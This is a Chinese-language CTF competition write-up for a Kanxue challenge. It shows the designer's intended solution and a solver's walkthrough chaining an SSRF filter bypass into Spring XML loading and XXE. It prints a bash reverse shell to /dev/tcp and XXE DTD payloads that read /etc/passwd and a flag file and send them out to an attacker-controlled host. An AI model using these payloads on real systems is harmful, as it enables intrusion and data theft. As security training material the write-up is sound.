在經過2天緊張激勵的比拼後，第一題歷時2天，最終落下帷幕，並於今日（19號）中午12點正式關閉攻擊通道。

此題共有5366人圍觀，並在開賽後的9小時左右，由ReZero戰隊奪下首旗，獲取一血額外加分。xtgo戰隊也緊隨其後，逆襲第二名。截止賽題關閉，累計共有24支戰隊攻破成功！恭喜！

一.題目簡介

第一題：至暗時刻

 二.出題團隊簡介

三.看雪評委點評

   四.設計思路

設計思路由作者 香草0x00 提供。

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=x.xml

<?xml version="1.0" encoding="utf-8"?><beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"><bean  init-method="start">    <constructor-arg>       <list>         <value>/bin/bash</value>  <value>-c</value>   <value><![CDATA[bash -i >& /dev/tcp/x.x.x.x/8080 0>&1]]></value>     </list>  </constructor-arg> </bean></beans>

http://121.36.145.157:8088/getimage?url=http://127.0.0.1%253a8088%252f.pediy.com/loadConfig?url=http://xxx.com/x.xml

五.解析過程

1、題目描述

2、初窺門徑

分析下正則核心的三個條件：

3、整理思路

1、繞過getimage介面的過濾規則

2、繞過後通過SSRF訪問loadConfig介面

4、發起進攻

http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=x.xml

 

  

怪不得前面的彩蛋提示是x.xml，原來是暗示傳入一個xml檔案，既然是xml那隻能想到XXE漏洞。使用XXE則必須將注入的xml放在公網，SSRF跳轉時可被訪問到，先寫個test.xml驗證一下XXE確實存在。

 test.xml

<!DOCTYPE foo    [<!ELEMENT foo ANY ><!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

公網測試：

注入介面：

http://121.36.145.157:8088/getimage?url=http://localhost%253a8088%252floadConfig%253furl%253dx.xml.pediy.com/loadConfig?url=http://ip:port/test.xml

 

發現報錯回顯不一樣了，XXE看來有戲，構造訪問檔案的xml和dtd（涉及到ip:port的地方請自行替換成自己的伺服器地址）

xxe.xml

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % ext SYSTEM "http://ip:port/xxe.dtd">    %ext;]><message></message>

xxe.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">%eval;%error;

在dtd中先訪問/etc/passwd ，成功獲取到passwd的文字內容：

 

接下來是最心塞的一步，尋找flag.txt，大家一起找了幾個小時。不過最終功夫不費有心人，通過/proc/self/maps檔案找到java程式的呼叫記錄，成功獲取到jar包儲存的路徑和檔名 /home/vip-demo-0.0.1-SNAPSHOT.jar。

 

最後一步通過jar:和file:協議訪問jar包中的flag.txt。

參考XXE注入，xxe.dtd

<!ENTITY % file SYSTEM "jar:file:///home/vip-demo-0.0.1-SNAPSHOT.jar!/BOOT-INF/classes/flag.txt"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file://ip:port/%file;'>">%eval;%error;

成功在異常中獲取flag！congratulations！

現在第二題已經開放，快來繼續挑戰自己吧！

越早提交答案，得分越高哦！

立即掃碼加入戰鬥！

華為全面屏智慧電視、Xbox One X、JBL 無線藍芽耳機等你來拿哦！